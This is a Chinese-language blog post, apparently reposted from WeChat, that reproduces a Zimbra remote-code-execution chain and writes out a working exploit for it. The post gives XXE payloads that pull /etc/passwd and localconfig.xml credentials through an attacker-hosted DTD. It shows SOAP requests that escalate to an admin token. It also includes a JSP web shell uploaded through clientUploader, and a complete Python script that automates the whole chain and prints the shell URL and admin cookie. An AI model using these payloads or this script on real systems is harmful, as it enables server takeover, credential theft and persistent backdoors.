zimbra RCE复现与exp编写

  • A+
所属分类:安全文章

别说了,直接干货开冲

zimbra RCE复现与exp编写

利用XXE+SSRF组合拳RCE复现

第一步,测试是否存在CVE-2019-9670 XXE漏洞

POST请求/Autodiscover/Autodiscover.xml

<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">    <Request>      <EMailAddress>aaaaa</EMailAddress>      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>    </Request>  </Autodiscover>


zimbra RCE复现与exp编写

第二步,读取zimbra用户账号密码

成功读到用户密码,说明XXE验证成功

接下来构造payload读zimbra的配文件localconfig.xml

由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

POST请求/Autodiscover/Autodiscover.xml

<!DOCTYPE Autodiscover [        <!ENTITY % dtd SYSTEM "http://公网服务器/dtd">        %dtd;        %all;        ]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">    <Request>        <EMailAddress>aaaaa</EMailAddress>        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>    </Request></Autodiscover>

zimbra RCE复现与exp编写

第三步,利用获取到的密码获取低权限token

POST请求/service/soap或/service/admin/soap

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">   <soap:Header>       <context xmlns="urn:zimbra">           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>       </context>   </soap:Header>   <soap:Body>     <AuthRequest xmlns="urn:zimbraAccount">        <account by="adminName">zimbra</account>        <password>上一步得到密码</password>     </AuthRequest>   </soap:Body></soap:Envelope>


zimbra RCE复现与exp编写

第四步,利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token

POST请求/service/proxy?target=https://127.0.0.1:7071/service/admin/soap

我这里可能环境有问题,没有使用SSRF直接请求/service/admin/soap即可获取高权限token

注意:

Host:后面加端口7071

Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token

发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token

zimbra RCE复现与exp编写

第五步,利用高权限token传文件getshell

import requests
file= {'filename1':(None,"whocare",None),'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 'requestId':(None,"12",None),}headers ={ "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",#改成自己的admin_token"Host":"foo:7071"}r=requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False) print(r.text)

zimbra RCE复现与exp编写

虽然执行报错了,但是不影响

shell地址:https://192.168.37.137:7071/downloads/sunian.jsp

zimbra RCE复现与exp编写

EXP编写

#coding=utf8import requestsimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)base_url=sys.argv[1]base_url=base_url.rstrip("/")#利用request模块来发包和接受数据,sys模块用来传参,并删除最右侧的/斜杠
filename = "sunian.jsp"fileContent = r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'#fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'#可使用第11行bypassprint(base_url)#请自己在公网放置dtd文件dtd_url="http://VPS-IP/exp.dtd""""<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">"""xxe_data = r"""<!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM "{dtd}"> %dtd; %all; ]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request></Autodiscover>""".format(dtd=dtd_url)
#XXE stageheaders = { "Content-Type":"application/xml"}print("[*] Get User Name/Password By XXE ")r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)#print r.textif 'response schema not available' not in r.text: print("don't have xxe") exit()
#low_token Stageimport repattern_name = re.compile(r"&lt;key name=("|&quot;)zimbra_user("|&quot;)&gt;n.*?&lt;value&gt;(.*?)&lt;/value&gt;")pattern_password = re.compile(r"&lt;key name=("|&quot;)zimbra_ldap_password("|&quot;)&gt;n.*?&lt;value&gt;(.*?)&lt;/value&gt;")username = pattern_name.findall(r.text)[0][2]password = pattern_password.findall(r.text)[0][2]#print(username)#print(password)
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="{xmlns}"> <account by="adminName">{username}</account> <password>{password}</password> </AuthRequest> </soap:Body></soap:Envelope>"""
#print("[*] Get Low Privilege Auth Token")
#72行路径可能为/service/soapr=requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
# SSRF+Get Admin_Token Stage
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"headers["Host"]="foo:7071"#print("[*] Get Admin Auth Token By SSRF")#r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)r = requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)#若86行无法使用请使用85行
admin_token =pattern_auth_token.findall(r.text)[0]#print("ADMIN_TOKEN:"+admin_token)
f = { 'filename1':(None,"whocare",None), 'clientFile':(filename,fileContent,"text/plain"), 'requestId':(None,"12",None),}
headers ={ "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token}print("[*] 木马地址")r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)#print(r.text)print(base_url+"/downloads/"+filename)
#print("[*] Request Result:")s = requests.session()r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)#print(r.text)print("[*] 管理员cookie")print(headers['Cookie'])

演示exp运行以及不使用cookie访问木马地址的情况

zimbra RCE复现与exp编写

参考链接

https://www.jianshu.com/p/722bc70ff426

https://blog.csdn.net/weixin_40709439/article/details/90136596

https://blog.csdn.net/weixin_41732430/article/details/89054473


本文始发于微信公众号(工程师江湖):zimbra RCE复现与exp编写

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: